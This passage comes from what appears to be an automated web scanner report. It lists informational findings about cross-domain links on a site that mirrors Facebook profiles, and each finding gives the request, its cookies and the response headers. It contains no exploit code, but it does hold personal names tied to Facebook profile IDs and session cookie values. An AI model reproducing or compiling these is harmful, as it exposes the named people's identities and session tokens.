<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/Shannon-Haverty/1285718147 target=_new><b>
...[SNIP]...

20.106. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=527891835&Abdiel-Villanueva-Proctor-Latin-American-Easy-Going-

The response contains the following link to another domain:

http://es-la.facebook.com/people/Abdiel-Villanueva-Proctor/527891835

Request

GET /index.php?id_face=527891835&Abdiel-Villanueva-Proctor-Latin-American-Easy-Going- HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=vpuuqukgdk1ahkm3qumem87027; __utma=3888045.451728164.1296937294.1296937294.1296943339.2; __utmc=3888045; __utmb=3888045.1.10.1296943339;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:57:04 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 21:01:02 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 19556

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://es-la.facebook.com/people/Abdiel-Villanueva-Proctor/527891835 target=_new><b>
...[SNIP]...

20.107. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=11808785&v_sex=2&Trey-Fletcher--Sly-Man

The response contains the following link to another domain:

http://www.facebook.com/people/Trey-Fletcher/11808785

Request

GET /index.php?id_face=11808785&v_sex=2&Trey-Fletcher--Sly-Man HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=d2m29fhd3k250v7inbf5p7la41; __utma=3888045.451728164.1296937294.1296937294.1296937294.1; __utmc=3888045; __utmb=3888045.3.10.1296937294;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 20:35:40 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 09:23:34 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 20118

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/Trey-Fletcher/11808785 target=_new><b>
...[SNIP]...

20.108. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=1027316967&Abhishek-Chandra--Easy-Going-

The response contains the following link to another domain:

http://www.facebook.com/people/Abhishek-Chandra/1027316967

Request

GET /index.php?id_face=1027316967&Abhishek-Chandra--Easy-Going- HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=vpuuqukgdk1ahkm3qumem87027; __utma=3888045.451728164.1296937294.1296937294.1296943339.2; __utmc=3888045; __utmb=3888045.1.10.1296943339;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:56:53 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 21:01:02 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 19299

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/Abhishek-Chandra/1027316967 target=_new><b>
...[SNIP]...

20.109. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=2226851&v_sex=2&Benji-Miller--Climber-Man

The response contains the following link to another domain:

http://www.facebook.com/people/Benji-Miller/2226851

Request

GET /index.php?id_face=2226851&v_sex=2&Benji-Miller--Climber-Man HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=d2m29fhd3k250v7inbf5p7la41; __utma=3888045.451728164.1296937294.1296937294.1296937294.1; __utmc=3888045; __utmb=3888045.1.10.1296937294;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 20:27:53 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 09:23:34 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 19544

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/Benji-Miller/2226851 target=_new><b>
...[SNIP]...

20.110. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=638679028&Abdul-Raman-Bahrom--Easy-Going-

The response contains the following link to another domain:

http://www.facebook.com/people/Abdul-Raman-Bahrom/638679028

Request

GET /index.php?id_face=638679028&Abdul-Raman-Bahrom--Easy-Going- HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=vpuuqukgdk1ahkm3qumem87027; __utma=3888045.451728164.1296937294.1296937294.1296943339.2; __utmc=3888045; __utmb=3888045.1.10.1296943339;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:56:59 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 21:01:02 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 20139

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/Abdul-Raman-Bahrom/638679028 target=_new><b>
...[SNIP]...

20.111. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=2356563&v_sex=2&Will-Owen--Climber-Man

The response contains the following link to another domain:

http://www.facebook.com/people/Will-Owen/2356563

Request

GET /index.php?id_face=2356563&v_sex=2&Will-Owen--Climber-Man HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=d2m29fhd3k250v7inbf5p7la41; __utma=3888045.451728164.1296937294.1296937294.1296937294.1; __utmc=3888045; __utmb=3888045.1.10.1296937294;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 20:27:57 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 09:23:34 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 19905

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/Will-Owen/2356563 target=_new><b>
...[SNIP]...

20.112. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=681793944&v_sex=1&Samantha-P.-Mawarire--Easy-Going-Woman

The response contains the following link to another domain:

http://www.facebook.com/people/Samantha-P-Mawarire/681793944

Request

GET /index.php?id_face=681793944&v_sex=1&Samantha-P.-Mawarire--Easy-Going-Woman HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=d2m29fhd3k250v7inbf5p7la41; __utma=3888045.451728164.1296937294.1296937294.1296937294.1; __utmc=3888045; __utmb=3888045.3.10.1296937294;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 20:52:44 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 09:23:34 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 19305

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/Samantha-P-Mawarire/681793944 target=_new><b>
...[SNIP]...

20.113. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=33401916&Abel-Titus--Easy-Going-

The response contains the following link to another domain:

http://www.facebook.com/people/Abel-Titus/33401916

Request

GET /index.php?id_face=33401916&Abel-Titus--Easy-Going- HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=vpuuqukgdk1ahkm3qumem87027; __utma=3888045.451728164.1296937294.1296937294.1296943339.2; __utmc=3888045; __utmb=3888045.1.10.1296943339;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:57:05 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 21:01:02 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 20756

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/Abel-Titus/33401916 target=_new><b>
...[SNIP]...

20.114. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=7200942&v_sex=2&Robert-Stanley--Climber-Man

The response contains the following link to another domain:

http://www.facebook.com/people/Robert-Stanley/7200942

Request

GET /index.php?id_face=7200942&v_sex=2&Robert-Stanley--Climber-Man HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=d2m29fhd3k250v7inbf5p7la41; __utma=3888045.451728164.1296937294.1296937294.1296937294.1; __utmc=3888045; __utmb=3888045.3.10.1296937294;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 20:56:57 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 09:23:34 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 19939

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/Robert-Stanley/7200942 target=_new><b>
...[SNIP]...

20.115. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=1254789949&v_sex=1&Sherry-Smathers-Clift--Sly-Woman

The response contains the following link to another domain:

http://www.facebook.com/people/Sherry-Smathers-Clift/1254789949

Request

GET /index.php?id_face=1254789949&v_sex=1&Sherry-Smathers-Clift--Sly-Woman HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=d2m29fhd3k250v7inbf5p7la41; __utma=3888045.451728164.1296937294.1296937294.1296937294.1; __utmc=3888045; __utmb=3888045.1.10.1296937294;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 20:27:42 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 09:23:34 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 21361

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/Sherry-Smathers-Clift/1254789949 target=_new><b>
...[SNIP]...

20.116. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=30412624&v_sex=2&Brian-Turner--Smug-Man

The response contains the following link to another domain:

http://www.facebook.com/people/Brian-Turner/30412624

Request

GET /index.php?id_face=30412624&v_sex=2&Brian-Turner--Smug-Man HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=d2m29fhd3k250v7inbf5p7la41; __utma=3888045.451728164.1296937294.1296937294.1296937294.1; __utmc=3888045; __utmb=3888045.3.10.1296937294;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 20:35:57 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 09:23:34 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 19918

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/Brian-Turner/30412624 target=_new><b>
...[SNIP]...

20.117. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=100000303444092&Abhimanyu-Pant--Easy-Going-

The response contains the following link to another domain:

http://www.facebook.com/people/Abhimanyu-Pant/100000303444092

Request

GET /index.php?id_face=100000303444092&Abhimanyu-Pant--Easy-Going- HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=vpuuqukgdk1ahkm3qumem87027; __utma=3888045.451728164.1296937294.1296937294.1296943339.2; __utmc=3888045; __utmb=3888045.1.10.1296943339;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:56:52 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 21:01:02 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 19396

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/Abhimanyu-Pant/100000303444092 target=_new><b>
...[SNIP]...

20.118. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=78804448&v_sex=1&Shakaren-Dade--Easy-Going-Woman

The response contains the following link to another domain:

http://www.facebook.com/people/ShaKaren-Dade/78804448

Request

GET /index.php?id_face=78804448&v_sex=1&Shakaren-Dade--Easy-Going-Woman HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=d2m29fhd3k250v7inbf5p7la41; __utma=3888045.451728164.1296937294.1296937294.1296937294.1; __utmc=3888045; __utmb=3888045.1.10.1296937294;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 20:22:14 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 09:23:34 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 21653

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/ShaKaren-Dade/78804448 target=_new><b>
...[SNIP]...

20.119. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=10051780&v_sex=2&Sarah-Sichau--Easy-Going-Man

The response contains the following link to another domain:

http://www.facebook.com/people/Sarah-Sichau/10051780

Request

GET /index.php?id_face=10051780&v_sex=2&Sarah-Sichau--Easy-Going-Man HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=d2m29fhd3k250v7inbf5p7la41; __utma=3888045.451728164.1296937294.1296937294.1296937294.1; __utmc=3888045; __utmb=3888045.3.10.1296937294;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 20:53:04 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 09:23:34 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 19956

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/Sarah-Sichau/10051780 target=_new><b>
...[SNIP]...

20.120. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=1588776725&v_sex=1&Christina-Irene-Gajewski--Funny-Woman

The response contains the following link to another domain:

http://www.facebook.com/people/Christina-Irene-Gajewski/1588776725

Request

GET /index.php?id_face=1588776725&v_sex=1&Christina-Irene-Gajewski--Funny-Woman HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=d2m29fhd3k250v7inbf5p7la41; __utma=3888045.451728164.1296937294.1296937294.1296937294.1; __utmc=3888045; __utmb=3888045.1.10.1296937294;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 20:22:17 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 09:23:34 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 19340

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/Christina-Irene-Gajewski/1588776725 target=_new><b>
...[SNIP]...

20.121. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=561407329&v_sex=1&Hayley-Brooks--Easy-Going-Woman

The response contains the following link to another domain:

http://www.facebook.com/people/Hayley-Brooks/561407329

Request

GET /index.php?id_face=561407329&v_sex=1&Hayley-Brooks--Easy-Going-Woman HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=d2m29fhd3k250v7inbf5p7la41; __utma=3888045.451728164.1296937294.1296937294.1296937294.1; __utmc=3888045; __utmb=3888045.3.10.1296937294;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 20:52:42 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 09:23:34 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 21863

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/Hayley-Brooks/561407329 target=_new><b>
...[SNIP]...

20.122. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=1307514236&v_sex=1&Denver-Barrows--Smug-Woman

The response contains the following link to another domain:

http://www.facebook.com/people/Denver-Barrows/1307514236

Request

GET /index.php?id_face=1307514236&v_sex=1&Denver-Barrows--Smug-Woman HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=d2m29fhd3k250v7inbf5p7la41; __utma=3888045.451728164.1296937294.1296937294.1296937294.1; __utmc=3888045; __utmb=3888045.3.10.1296937294;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 20:56:53 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 09:23:34 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 20262

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/Denver-Barrows/1307514236 target=_new><b>
...[SNIP]...

20.123. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=206571&v_sex=2&Eric-Mckean--Mild-Man

The response contains the following link to another domain:

http://www.facebook.com/people/Eric-McKean/206571

Request

GET /index.php?id_face=206571&v_sex=2&Eric-Mckean--Mild-Man HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=d2m29fhd3k250v7inbf5p7la41; __utma=3888045.451728164.1296937294.1296937294.1296937294.1; __utmc=3888045; __utmb=3888045.3.10.1296937294;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 20:53:15 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 09:23:34 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 19729

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/Eric-McKean/206571 target=_new><b>
...[SNIP]...

20.124. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=33412555&v_sex=1&Cristina-Decraepeo--Smug-Woman

The response contains the following link to another domain:

http://www.facebook.com/people/Cristina-DeCraepeo/33412555

Request

GET /index.php?id_face=33412555&v_sex=1&Cristina-Decraepeo--Smug-Woman HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=d2m29fhd3k250v7inbf5p7la41; __utma=3888045.451728164.1296937294.1296937294.1296937294.1; __utmc=3888045; __utmb=3888045.1.10.1296937294;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 20:27:47 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 09:23:34 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 19148

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
